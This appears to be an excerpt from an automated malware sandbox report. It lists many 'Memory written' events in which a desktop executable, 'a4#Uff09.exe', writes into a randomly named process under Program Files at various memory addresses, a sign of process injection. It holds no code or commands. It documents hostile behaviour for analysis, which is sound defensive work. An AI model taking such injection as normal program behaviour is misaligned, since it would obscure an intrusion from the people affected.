                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 830000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1580000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1360000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 13B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1570000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 940000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2930000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 780000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 790000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2700000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 12A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2540000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2910000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: EE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2480000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 800000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2820000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1340000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1350000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1280000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2370000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2170000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2450000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 24A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1310000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1320000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 980000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 990000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1110000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 920000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 670000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1250000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1450000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2610000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 30E0000Jump to behavior
